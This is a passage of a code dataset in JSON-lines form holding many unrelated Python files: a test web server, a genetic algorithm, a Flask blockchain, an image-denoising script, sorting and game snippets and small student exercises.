_ThreadedTCPServer.allow_reuse_address = True\n\n    try:\n      self._server = _ThreadedTCPServer(('0.0.0.0', 8000), handler)\n    except socket.error:\n      # Get the socket address for the ANY interface.  Doing it this way\n      # has it so that it will work for IPv4. IPv6 is not supported yet because\n      # SocketServer.TCPServer can not take '::' as the hostname at this time.\n      # (see https://bugs.python.org/issue20215).  Instead, the following code\n      # was inspired by https://docs.python.org/2/library/socket.html.\n      for result in socket.getaddrinfo(None, 0, socket.AF_UNSPEC,\n                                       socket.SOCK_STREAM, 0, socket.AI_PASSIVE\n                                       ):\n        if len(result[4]) == 2:\n          # This is (0.0.0.0, 0).\n          socket_address = result[4]\n          break\n      self._server = _ThreadedTCPServer(socket_address, handler)\n\n    self._server_thread = None\n\n    self._bound_port = self._server.server_address[1]\n    address_pack_list = socket.getaddrinfo(socket.gethostname(),\n                                           self._bound_port)\n    for address_pack in address_pack_list:\n      if len(address_pack[4]) == 2:\n        self._bound_ip, _ = address_pack[4]\n        self._bound_host, _ = address_pack[4]\n        break\n\n  def GetURL(self, file_name):\n    \"\"\"Given a |file_name|, return a HTTP URI that can be fetched.\n\n    Args:\n      file_name: a string containing a file_name.\n\n    Returns:\n      A string containing a HTTP URI.\n    \"\"\"\n    return 'http://{}:{}/{}'.format(self._bound_host, self._bound_port,\n                                    file_name)\n\n  def __enter__(self):\n    self._server_thread = threading.Thread(target=self._server.serve_forever)\n    self._server_thread.start()\n    return self\n\n  def __exit__(self, exc_type, exc_value, traceback):\n    self._server.shutdown()\n    self._server.server_close()\n    self._server_thread.join()\n","repo_name":"elgamar/cobalt-clone","sub_path":"src/cobalt/black_box_tests/threaded_web_server.py","file_name":"threaded_web_server.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"74802976377","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[22]:\n\n\nanapara=1000\nb= 12/100\ngün=7\nprint(anapara*(1+b)**gün,\"$\")\nprint(\"anapara ve faiz toplam tutarıdır.\")\n\n\n# In[24]:\n\n\na=1000\nb=\"%12\"\nc=1210.68\nmetin=\"Hafta başında {} dolarlık bitcoin aldığımızda günde ortalama {} kazançla, bir hafta sonunda {} dolar kazanırdık\"\nprint(metin.format(a,b,c))\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"FatosDefneDemir/Veri-Bilimi-devlerim","sub_path":"python temeller ödevim.py","file_name":"python temeller ödevim.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74401780217","text":"\"\"\"\nauthor :admin\nDate : 2021/09/17\nDescription :\n\"\"\"\nimport requests\n\nfrom constant import ALARM_CENTER_URL_DEV\n\nalarmBody = '''{\"expressionId\":62,\"triggerTime\":\"2021-09-07 23:01:13\",\"MetricData\":{\"C0\":[{\"date\":\"2021-09-07 23:01:00\"\n,\"value\":\"10375.531\"},{\"date\":\"2021-09-07 23:00:00\",\"value\":\"10397.643\"}]}}'''\n\n\nclass RecordApi:\n\n    @staticmethod\n    def add_alarm_record():\n        url = ALARM_CENTER_URL_DEV + '/alarmRecord/add'\n        params = {\"alarmBody\": alarmBody, \"alarmLevel\": 1, \"alarmTime\": \"2021-09-17 12:41:09\", \"alarmType\": 0,\n                  'id': 10086,\n                  \"ruleId\": 1437345007030898688}\n        r = requests.post(url, json=params, timeout=10)\n        print(r.status_code)\n        print(r.json())\n\n\nif __name__ == '__main__':\n    RecordApi.add_alarm_record()\n","repo_name":"GaoyuRain/xzApiTest","sub_path":"api/alarm_center_api/record_api.py","file_name":"record_api.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14358496885","text":"import time\n\nfrom deap import base\nfrom deap import creator\nfrom deap import tools\nimport random\nfrom matplotlib import pyplot as plt\n\n\ndef individual(icls):\n    genome = list()\n    genome.append(random.uniform(-10, 10))\n    genome.append(random.uniform(-10, 10))\n    return icls(genome)\n\n\ndef fitnessFunction(individual):\n    result = pow(individual[0] + 2 * individual[1] - 7, 2) + pow(2 * individual[0] + individual[1] - 5, 2)\n    return result,\n\n\ndef main():\n    creator.create(\"FitnessMin\", base.Fitness, weights=(-1.0,))\n    creator.create(\"Individual\", list, fitness=creator.FitnessMin)\n    toolbox = base.Toolbox()\n    toolbox.register('individual', individual, creator.Individual)\n    toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n    toolbox.register(\"evaluate\", fitnessFunction)\n    plot_x, plot_value, plot_std, plot_avg = [], [], [], []\n    print(\"It's a Genetic algorithm with couple of deap library examples\")\n    print(\"Please choose details:\")\n\n    print(\"Choose selection: \\n 0: Tournament \\n 1: Random \\n 2: Best \\n 3: Worst \\n 4: Roulette \\n 5: Blend\")\n    user_input_selection = input()\n    if user_input_selection == '0':\n        print(\"Choose tournament size: \")\n        tournament_size = input()\n        toolbox.register(\"select\", tools.selTournament, tournsize=int(tournament_size))\n    elif user_input_selection == '1':\n        toolbox.register(\"select\", tools.selRandom)\n    elif user_input_selection == '2':\n        toolbox.register(\"select\", tools.selBest)\n    elif user_input_selection == '3':\n        toolbox.register(\"select\", tools.selWorst)\n    elif user_input_selection == '4':\n        toolbox.register(\"select\", tools.selRoulette)\n    elif user_input_selection == '5':\n        toolbox.register(\"select\", tools.cxUniformPartialyMatched, indpb=0.9)\n    else:\n        toolbox.register(\"select\", tools.selBest)\n\n    print(\"Choose crossover method: \\n 0: One point \\n 1: Two point \\n 2: uniform \\n 3: Messy One point\")\n    user_input_mate = input()\n    if user_input_mate == '0':\n        toolbox.register(\"mate\", tools.cxOnePoint)\n    elif user_input_mate == '1':\n        toolbox.register(\"mate\", tools.cxTwoPoint)\n    elif user_input_mate == '2':\n        toolbox.register(\"mate\", tools.cxUniform, indpb=0.1)\n    elif user_input_mate == '3':\n        toolbox.register(\"mate\", tools.cxMessyOnePoint)\n    else:\n        toolbox.register(\"mate\", tools.cxOnePoint)\n\n    print(\"Choose mutation method: \\n 0: Gaussian \\n 1: Uniform Int \\n 2: Shuffle Indexes\")\n    user_input_mutation = input()\n    if user_input_mutation == '0':\n        toolbox.register(\"mutate\", tools.mutGaussian, mu=5, sigma=10, indpb=0.9)\n    if user_input_mutation == '1':\n        toolbox.register(\"mutate\", tools.mutUniformInt, low=-10, up=10)\n    if user_input_mutation == '2':\n        toolbox.register(\"mutate\", tools.mutShuffleIndexes, indpb=0.9)\n    else:\n        toolbox.register(\"mutate\", tools.mutGaussian, mu=5, sigma=10, indpb=0.9)\n\n    print(\"Set size of population: \")\n    user_input_population_size = input()\n    sizePopulation = int(user_input_population_size)\n\n    print(\"Set mutation probablility: \")\n    user_input_mutation_probability = input()\n    probabilityMutation = float(user_input_mutation_probability)\n\n    print(\"Set crossover probability: \")\n    user_input_crossover_probability = input()\n    probabilityCrossover = float(user_input_crossover_probability)\n\n    print(\"Set number of generations: \")\n    user_input_number_of_generations = input()\n    numberIteration = int(user_input_number_of_generations)\n\n    pop = toolbox.population(n=sizePopulation)\n    fitnesses = list(map(toolbox.evaluate, pop))\n    for ind, fit in zip(pop, fitnesses):\n        ind.fitness.values = fit\n\n    g = 0\n    numberElitism = 2\n    start_time = time.clock()\n    while g < numberIteration:\n        g = g + 1\n        print(\"-- Generation %i --\" % g)\n        # Select the next generation individuals\n        offspring = toolbox.select(pop, len(pop))\n        # Clone the selected individuals\n        offspring = list(map(toolbox.clone, offspring))\n        listElitism = []\n        for x in range(0, numberElitism):\n            listElitism.append(tools.selBest(pop, 1)[0])\n        # Apply crossover and mutation on the offspring\n        for child1, child2 in zip(offspring[::2], offspring[1::2]):\n            # cross two individuals with probability CXPB\n            if random.random() < probabilityCrossover:\n                toolbox.mate(child1, child2)\n                # fitness values of the children\n                # must be recalculated later\n                del child1.fitness.values\n                del child2.fitness.values\n\n        for mutant in offspring:\n            # mutate an individual with probability MUTPB\n            if random.random() < probabilityMutation:\n                toolbox.mutate(mutant)\n                del mutant.fitness.values\n            # Evaluate the individuals with an invalid fitness\n        invalid_ind = [ind for ind in offspring if not ind.fitness.valid]\n        fitnesses = map(toolbox.evaluate, invalid_ind)\n        for ind, fit in zip(invalid_ind, fitnesses):\n            ind.fitness.values = fit\n        print(\" Evaluated %i individuals\" % len(invalid_ind))\n        pop[:] = offspring + listElitism\n        # Gather all the fitnesses in one list and print the stats\n        fits = [ind.fitness.values[0] for ind in pop]\n        length = len(pop)\n        mean = sum(fits) / length\n        sum2 = sum(x * x for x in fits)\n        std = abs(sum2 / length - mean ** 2) ** 0.5\n        print(\" Min %s\" % min(fits))\n        print(\" Max %s\" % max(fits))\n        print(\" Avg %s\" % mean)\n        print(\" Std %s\" % std)\n        best_ind = tools.selBest(pop, 1)[0]\n        print(\"Best individual is %s, %s\" % (best_ind,\n                                             best_ind.fitness.values))\n        plot_x.append(g)\n        plot_avg.append(mean)\n        plot_std.append(std)\n        plot_value.append(best_ind.fitness.values)\n    #\n    timeOfAll = time.clock() - start_time\n    print(f'Time: {timeOfAll}')\n    print(\"-- End of (successful) evolution --\")\n\n    plt.figure()\n    plt.plot(plot_value)\n    plt.ylabel('Best values')\n    plt.show()\n    plt.figure()\n    plt.plot(plot_avg)\n    plt.ylabel('Averages')\n    plt.show()\n    plt.figure()\n    plt.plot(plot_std)\n    plt.ylabel('Standard deviation')\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"cinekpl97/genetic-algorithm-deap-library","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6419,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"8125325725","text":"# https://leetcode.com/problems/count-good-nodes-in-binary-tree/\n# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n\nclass Solution:\n    def goodNodes(self, root: TreeNode) -> int:\n        def dfs(root, max_val, count):\n            if root is None:\n                return count\n\n            if root.val >= max_val:\n                count += 1\n                max_val = root.val\n            count = dfs(root.left, max_val, count)\n            count = dfs(root.right, max_val, count)\n\n            return count\n        return dfs(root, -(10**4+1), 0)\n","repo_name":"amitalable/LeetCode-August-2021","sub_path":"August Challange/Week 3/GoodNodes.py","file_name":"GoodNodes.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5638049500","text":"filename = 'sample.txt'\n\ntext = ''\ntext_lines1 = []\ntext_lines2 = []\n\nwith open(filename, 'r') as file:\n    # print(file.read())\n    # text = file.read()\n    text_lines1 = file.readlines()\n    file.seek(0)\n    text_lines2 = file.readlines()\n    \n    \nprint(text_lines1)\nprint(text_lines2)\n\n\n","repo_name":"UlianaGuseva/Week2","sub_path":"Week3/Day4/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28239765749","text":"from pygame import*\r\nfrom random import randint\r\n\r\nclass GameSprite(sprite.Sprite):\r\n    def __init__(self,player_image,x,y,speed,size_x,size_y):\r\n        super().__init__()\r\n        self.speed=speed\r\n        self.image=transform.scale(image.load(player_image),(size_x,size_y))\r\n        self.rect=self.image.get_rect()\r\n        self.rect.x=x\r\n        self.rect.y=y\r\n    def reset(self):\r\n        window.blit(self.image,(self.rect.x, self.rect.y))\r\nclass Player(GameSprite):\r\n    def update(self):\r\n        keys_pressed = key.get_pressed()\r\n        if keys_pressed[K_UP] and self.rect.y > 0:\r\n            self.rect.y -= self.speed\r\n        if keys_pressed[K_DOWN] and self.rect.y < 500:\r\n            self.rect.y += self.speed\r\nclass Player1(GameSprite):\r\n    def update(self):\r\n        keys_pressed = key.get_pressed()\r\n        if keys_pressed[K_w] and self.rect.y > 0:\r\n            self.rect.y -= self.speed\r\n        if keys_pressed[K_s] and self.rect.y < 500:\r\n            self.rect.y += self.speed\r\nclass Ball(GameSprite):\r\n    def update(self):\r\n        pass\r\nlost = 0\r\n\r\n\r\n        \r\n        \r\n        \r\nlast=0\r\nplayer1= Player(\"player1.png\",680,0,6,85,85)\r\nplayer= Player1(\"player.png\",0,0,6,65,65)\r\nball = Ball (\"ball.png\",350,250,0,65,65)\r\n\r\n\r\n\r\n\r\nvisota=750\r\nhirina=500\r\nwindow = display.set_mode((visota,hirina))\r\ndisplay.set_caption(\"Шутер\")\r\nbackground = transform.scale(image.load(\"galaxy.png\"),(750,500))\r\n\r\nfinish = False\r\nclock = time.Clock()\r\nFPS = 60\r\ngame = True\r\nfire=0\r\n\r\n\r\n\r\n\r\nwhile game:\r\n    for e in event.get():\r\n        if e.type == QUIT:\r\n            game = False\r\n    window.blit(background,(0,0))\r\n    player.reset()\r\n    player.update()\r\n    player1.reset()\r\n    player1.update()\r\n    ball.reset()\r\n    ball.update()\r\n   \r\n\r\n    \r\n    clock.tick(FPS)\r\n    display.update()","repo_name":"okko01/ping-pong","sub_path":"shyter/shyter.py","file_name":"shyter.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14278767798","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 27 22:33:51 2020\n\n@author: taian\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import confusion_matrix, accuracy_score\n\ndef load_data(filename):\n    csv_path = '../csv/'+filename\n    return pd.read_csv(csv_path)\n\nbase = load_data('credit_data.csv')\nbase.loc[base['age'] < 0, 'age'] = base['age'][base['age'] > 0].mean()\n\nprevisors = base.iloc[:, 1:4].values\nb_class = base.iloc[:, 4].values\n\nimputer = SimpleImputer(missing_values=np.NaN, strategy='mean')\nimputer = imputer.fit(previsors[:, 0:3])\nprevisors[:,0:3] = imputer.transform(previsors[:, 0:3])\n\n\nscaler = StandardScaler()\nprevisors = scaler.fit_transform(previsors)\n\nprevisorsTest, previsorsTraining,classTest,classTraining = train_test_split(previsors, b_class, test_size=0.25, random_state=0)\n\nclassifier = RandomForestClassifier(n_estimators=15,criterion='entropy',random_state=0)\nclassifier.fit(previsorsTraining, classTraining)\nprevision = classifier.predict(previsorsTest)\n\nmatrix = confusion_matrix(prevision, classTest)\naccuracy= accuracy_score(prevision,classTest)","repo_name":"EngTaian/Machine-Learning","sub_path":"Python/scripts/random_forest_credit_data.py","file_name":"random_forest_credit_data.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"38844531229","text":"import csv, graficos\r\n\r\ndef lecturaCol(path):\r\n    numbers=[]\r\n    countries = []\r\n    with open(path, 'r') as datos:\r\n        reader = csv.reader(datos,delimiter=',')\r\n        next(reader) \r\n        for item in reader:\r\n            numbers.append(float(item[-1]))\r\n            countries.append(item[2])\r\n            grupo = zip(countries, numbers)\r\n            dict = {key:value for key, value in grupo}\r\n            \r\n        return dict\r\n\r\n\r\nres = lecturaCol('data.csv')\r\ngraficos.graficaPastel(res.keys(),res.values())\r\ngraficos.graficaBarras(res.keys(),res.values())","repo_name":"leonardoMD2/pythonwithgraph","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15831064748","text":"import cv2\nimport numpy as np\nimport maxflow\nfrom matplotlib import pyplot as plt\nfrom matplotlib import cm\ndef display_image(image,title=\"random\"):\n    cv2.imshow(title,image)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\ndef mrf_binary(I,rho=0.7,pairwise_cost_same=0.005,pairwise_cost_diff=0.2):\n\n\n    ### 1) Define Graph\n    g = maxflow.Graph[float]()\n    ### 2) Add pixels as nodes\n    pixel_nodes = g.add_grid_nodes(I.shape)\n    ### 3) Compute Unary cost\n    P_given_0 = np.where(I==0,rho,1-rho)\n    P_given_1 = np.where(I==255,rho,1-rho)\n    unary_source = np.negative(np.log10(P_given_0))\n    unary_sink = np.negative(np.log10(P_given_1))\n    ### 4) Add terminal edges\n    g.add_grid_tedges(pixel_nodes, unary_source+pairwise_cost_same, unary_sink-pairwise_cost_same)\n    ### 5) Add Node edges\n    ### Vertical Edges\n    g.add_grid_edges(pixel_nodes,pairwise_cost_diff)\n    ### 6) Maxflow\n    g.maxflow()\n    sgm = g.get_grid_segments(pixel_nodes)\n    fig, (ax1, ax2) = plt.subplots(1, 2)\n    ax1.title.set_text(\"Original Image\")\n    ax1.imshow(I, cmap=cm.get_cmap(\"gray\"))\n    ax2.title.set_text(\"Pairwise-Cost-Diff = \" + str(pairwise_cost_diff))\n    Denoised_I = (np.int_(np.logical_not(sgm))*255).astype(np.uint8)\n    ax2.imshow(Denoised_I, cmap=cm.get_cmap(\"gray\"))\n    plt.show()\n    return\n\n\n\ndef alpha_expansion(I,rho=0.6):\n    # I = np.array([[0,0,255],[255,0,0],[0,0,0]])\n    labels = np.unique(I).tolist()\n    label_dict = {1:0,2:128,3:255}\n    original_image_unchanged = np.copy(I)\n    original_image = np.copy(I)\n    Denoised_I = np.zeros_like(I)\n    for alpha in [1,2,3]:\n        non_alpha=set([1,2,3]).difference(set([alpha]))\n        ### Use Alpha expansion binary image for each label\n        ### 1) Define Graph\n        g = maxflow.Graph[float]()\n        ### 2) Add pixels as nodes\n        pixel_nodes = g.add_grid_nodes(I.shape)\n        ### 3) Compute Unary cost\n        P_given_alpha = np.where(original_image==label_dict[alpha],0.8,0.1)\n        P_given_label = np.where(original_image==label_dict[alpha],0.1,0.8)\n        unary_source = np.negative(np.log10(P_given_alpha))\n        unary_sink = np.negative(np.log10(P_given_label))\n        unary_sink[np.where(original_image == label_dict[alpha])]=np.inf\n        ### 4) Add terminal edges\n        g.add_grid_tedges(pixel_nodes, unary_source , unary_sink)\n        ### 5) Add Node edges\n        I[np.where(I == 0)] = 1\n        I[np.where(I == 128)] = 2\n        I[np.where(I == 255)] = 3\n        for x in range(I.shape[1]):\n            for y in range(I.shape[0]):\n                pixel = I[y][x]\n                if x + 1 < I.shape[1] :\n                    pixel_right = I[y][x + 1]\n                    if pixel == alpha and pixel_right in non_alpha:\n                        g.add_edge(pixel_nodes[y][x],pixel_nodes[y][x+1],0,1)\n                    elif pixel_right == alpha and pixel in non_alpha:\n                        g.add_edge(pixel_nodes[y][x],pixel_nodes[y][x+1],0,1)\n                    elif pixel in non_alpha and pixel_right in non_alpha and pixel==pixel_right:\n                        g.add_edge(pixel_nodes[y][x],pixel_nodes[y][x+1],1,1)\n                    elif pixel in non_alpha and pixel_right in non_alpha and pixel != pixel_right:\n                        new_node = g.add_nodes(1)\n                        g.add_edge(pixel_nodes[y][x],new_node[0],1,np.inf)\n                        g.add_edge(new_node[0],pixel_nodes[y][x+1],np.inf,1)\n                        g.add_tedge(new_node[0],0,1)\n                if y + 1 < I.shape[0]:\n                    pixel_bottom = I[y+1][x]\n                    if pixel == alpha and pixel_bottom in non_alpha:\n                        g.add_edge(pixel_nodes[y][x], pixel_nodes[y+1][x], 0, 1)\n                    elif pixel_bottom == alpha and pixel in non_alpha:\n                        g.add_edge(pixel_nodes[y][x],pixel_nodes[y+1][x], 0, 1)\n                    elif pixel in non_alpha and pixel_bottom in non_alpha and pixel == pixel_bottom:\n                        g.add_edge(pixel_nodes[y][x], pixel_nodes[y+1][x], 1, 1)\n                    elif pixel in non_alpha and pixel_bottom in non_alpha and pixel != pixel_bottom:\n                        new_node = g.add_nodes(1)\n                        g.add_edge(pixel_nodes[y][x], new_node[0], 1, np.inf)\n                        g.add_edge(new_node[0], pixel_nodes[y+1][x], np.inf, 1)\n                        g.add_tedge(new_node[0], 0, 1)\n        g.maxflow()\n        sgm = g.get_grid_segments(pixel_nodes)\n        original_image[np.where(sgm)]=label_dict[alpha]\n        fig,(ax1,ax2)=plt.subplots(1,2)\n        ax1.title.set_text(\"Original Image\")\n        ax1.imshow(original_image_unchanged,cmap=cm.get_cmap(\"gray\"))\n        ax2.title.set_text(\"Alpha-expansion for alpha=\"+str(alpha))\n        ax2.imshow(original_image, cmap=cm.get_cmap(\"gray\"))\n        plt.show()\n        # cv2.imshow('Original Img', original_image_unchanged)\n        # cv2.imshow('Denoised Img ' + str(alpha), original_image), cv2.waitKey(0), cv2.destroyAllWindows()\n\n    return\n\ndef main():\n    image_q3 = cv2.imread('./images/noise.png', cv2.IMREAD_GRAYSCALE)\n    image_q4 = cv2.imread('./images/noise2.png', cv2.IMREAD_GRAYSCALE)\n\n    # ### Call solution for question 3\n    mrf_binary(image_q3, rho=0.7, pairwise_cost_same=0.005, pairwise_cost_diff=0.2)\n    mrf_binary(image_q3, rho=0.7, pairwise_cost_same=0.005, pairwise_cost_diff=0.35)\n    mrf_binary(image_q3, rho=0.7, pairwise_cost_same=0.005, pairwise_cost_diff=0.55)\n\n    ### Call solution for question 4\n    alpha_expansion(image_q4, rho=0.8)\n    return\n\nif __name__ == \"__main__\":\n    main()\n\n\n\n","repo_name":"sanket-pixel/vision-ary","sub_path":"markov-random-fields-denoise/Image_denoise.py","file_name":"Image_denoise.py","file_ext":"py","file_size_in_byte":5597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8279879582","text":"import unittest\n\nfrom dal import ScoreDAL\nfrom dto import ScoreDto\n\n\nclass ScoreDALTest(unittest.TestCase):\n    def setUp(self):\n        self.scoreDAL = ScoreDAL()\n    \n    def tearDown(self):\n        pass\n\n    def testInsert(self):\n        studentCode = \"PY000003\"\n        subjectCode = \"111\"\n        scoreQT = 44\n        scoreKT = 33\n        a = ScoreDto(studentCode, subjectCode, scoreQT, scoreKT)\n\n        self.scoreDAL.insert(a)\n        b = self.scoreDAL.getByCode(studentCode, subjectCode)\n\n        self.assertEqual(studentCode, b[0])\n        self.assertEqual(subjectCode, b[1])\n        self.assertEqual(scoreQT, b[2])\n        self.assertEqual(scoreKT, b[3])\n\n        # Tear down\n        self.scoreDAL.delete(studentCode, subjectCode)\n","repo_name":"ntvanank1250/bigassignment02_pythonbasic_VTI","sub_path":"dal/scoredaltest.py","file_name":"scoredaltest.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25527788280","text":"import torch\nimport numpy as np\nimport matplotlib.pyplot as plt\n\npath_latent = [\"/media/pranav/storage/ML/out_tensors/h/h_{}.pt\".format(ii) for ii in range(7180)]\npath_labels = [\"/media/pranav/storage/ML/out_tensors/l/l_{}.pt\".format(ii) for ii in range(7180)]\npath_input = [\"/media/pranav/storage/ML/out_tensors/in/in_{}.pt\".format(ii) for ii in range(7180)]\n\nlatent_ = [torch.load(path_latent[ii], map_location={'cuda:0': 'cpu'}) for ii in range(7180)]\nlabels_ = [torch.load(path_labels[ii], map_location={'cuda:0': 'cpu'}) for ii in range(7180)]\ninput_ = [torch.load(path_input[ii], map_location={'cuda:0': 'cpu'}) for ii in range(7180)]\n\nlat = torch.cat(latent_).detach().cpu().numpy()\nlab = torch.cat(labels_).detach().cpu().numpy()\ninp = torch.cat(input_).detach().cpu().numpy()\n\nnp.save(lat, \"/media/pranav/storage/ML/out_tensors/latent.npy\")\nnp.save(lab, \"/media/pranav/storage/ML/out_tensors/labels.npy\")\nnp.save(inp, \"/media/pranav/storage/ML/out_tensors/images.npy\")\n\n# path_latent = \"../results/ae_hash/out_tensors/out_encoded_small.pt\"\n# latent_ = torch.load(path_latent, map_location={'cuda:1': 'cuda:0'})\n# # print(latent_.size())\n\n# samples = np.array([0, 10, 20, 30, 40, 50, 60, 70])\n# samples += 5\n\n# lat = latent_[samples, :, :, :].detach().cpu().numpy()\n# # _, a = plt.subplots(len(samples) + 1, 8)\n# _, a = plt.subplots(1, len(samples))\n\n# # for pic in range(0, len(samples)):\n# #     lat_ = lat[pic, :, :, :]\n# #     lat_ = np.squeeze(lat_)\n# #     # print(lat_.shape)\n# #     for ii in range(8):\n# #         a[ii][pic].imshow(lat_[ii, :, :])\n# #         a[ii][pic].set_title(\"dim {}\".format(ii))\n# #         a[ii][pic].axis(\"off\")\n\n# # for ii in range(len(samples)):\n# #     a[len(samples)][ii].imshow(np.squeeze(np.median(lat[ii, :, :, :], axis=0, keepdims=True)))\n# #     a[len(samples)][ii].set_title(\"Averaged\")\n# #     a[len(samples)][ii].axis(\"off\")\n\n# for ii in range(len(samples)):\n#     a[ii].imshow(np.rollaxis(lat[ii, :, :, :], 0, 3))\n#     a[ii].axis(\"off\")\n\n\n# plt.show()\n\n# avgpool = nn.AdaptiveMaxPool2d((1, 1))\n# lat = avgpool(latent_).squeeze()\n# kmeans = get_kmeans(lat.detach().cpu().numpy())\n# print(kmeans.labels_)\n","repo_name":"pranav-deo/Image_Retrieval","sub_path":"utils/see_latent_ae.py","file_name":"see_latent_ae.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"17233205557","text":"from uuid import uuid4\nfrom flask import Flask, jsonify, request\n\nfrom blockchain import Blockchain\n\napp = Flask(__name__)\nnode_id = str(uuid4()).replace('-', '')\nblochain = Blockchain()\n\n@app.route('/mine', methods=['GET'])\ndef mine():\n    last_proof = blochain.last_block['proof']\n    proof = blochain.proof_of_work(last_proof)\n\n    blochain.new_transaction(\n        sender=\"0\",\n        recipient=node_id,\n        amount=1,\n    )\n\n    block = blochain.new_block(proof)\n\n    rsp = {\n        'message': \"New Block Forged\",\n        'index': block['index'],\n        'transactions': block['transactions'],\n        'proof': block['proof'],\n        'previous_hash': block['previous_hash'],\n    }\n\n    return jsonify(rsp), 200\n\n\n@app.route('/transactions/new', methods=['POST'])\ndef new_transaction():\n    print('xxxxxxxxxx')\n    values = request.get_json()\n    print('hhhhhhhhhh', values)\n    required = ['sender', 'recipient', 'amount']\n    if not all(k in values for k in required):\n        return 'missing values', 400\n\n    id = blochain.new_transaction(values['sender'], values['recipient'], values['amount'])\n    rsp = {'message': f'Transaction will be added to Block {id}'}\n    return jsonify(rsp), 201\n\n\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n    rsp = {\n        'chain': blochain.chain,\n        'length': len(blochain.chain)\n    }\n    return jsonify(rsp), 200\n\n\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n    values = request.get_json()\n\n    nodes = values.get('nodes')\n    if nodes is None:\n        return \"Error: Please supply a valid list of nodes\", 400\n\n    for node in nodes:\n        blochain.register_node(node)\n\n    response = {\n        'message': 'New nodes have been added',\n        'total_nodes': list(blochain.nodes),\n    }\n    return jsonify(response), 201\n\n\n@app.route('/nodes/resolve', methods=['GET'])\ndef consensus():\n    replaced = blochain.resolve_conflicts()\n\n    if replaced:\n        response = {\n            'message': 'Our chain was replaced',\n            'new_chain': blochain.chain\n        }\n    else:\n        response = {\n            'message': 'Our chain is authoritative',\n            'chain': blochain.chain\n        }\n\n    return jsonify(response), 200\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000)\n\n","repo_name":"Rimay/blockchain-py","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"21667503775","text":"import time\r\n\r\n\r\ndef insertion_sort(data, drawData, canvas, speed):\r\n    for i in range(len(data)-1):\r\n        key_item = data[i]\r\n        j = i-1\r\n        while j>=0 and data[j] > key_item:\r\n            data[j+1] = data[j]\r\n            j-=1\r\n        data[j+1] = key_item\r\n        colorArray = getColorArray(j, i, len(data))\r\n        drawData(data, canvas, colorArray)\r\n        time.sleep(speed)\r\n    drawData(data, canvas, ['green' for x in range(len(data))])\r\n\r\n\r\ndef getColorArray(j, i, dataLen):\r\n    colorArray = []\r\n    for n in range(dataLen):\r\n        if n > i:\r\n            colorArray.append('red')\r\n        elif n < i:\r\n            colorArray.append('green')\r\n\r\n        if n == j or n == i:\r\n            colorArray.append('blue')\r\n\r\n    return colorArray","repo_name":"Caustin122/SortingAlgorithmDemo","sub_path":"insertionSort.py","file_name":"insertionSort.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5848227097","text":"import random\n\nclass TranspositionTable():\n    def __init__(self, board_state):\n        self.z_table = self.init_zobrist_table()\n        self.p_move = [random.getrandbits(64),random.getrandbits(64)]\n        self.z_key = self.generate_initial_key(board_state)\n        self.t_table = {}\n\n    # Generate the table of random values for zobrist hashing\n    def init_zobrist_table(self):\n        col_num = 10\n        row_num = 10\n        zobrist_table = [[[None] * 2 for _ in range(row_num)] for _ in range(col_num)]\n\n        for row in range(row_num):\n            for col in range(col_num):\n                for i in range(2):\n                    zobrist_table[row][col][i] = random.getrandbits(64)\n\n        return zobrist_table\n\n    # Generate a zobrist key based on the inital board state\n    def generate_initial_key(self, board_state):\n        z_key = 0\n        for row in range(10):\n            for col in range(10):\n                piece = board_state[row][col]\n                if piece == 1:\n                    z_key = z_key ^ self.z_table[row][col][0]\n                else:\n                    z_key = z_key ^ self.z_table[row][col][0]\n\n        z_key = z_key ^ self.p_move[0]\n        return z_key\n\n\n\n    def update_key(self, key, move, player_num, capture_bool):\n        # given a 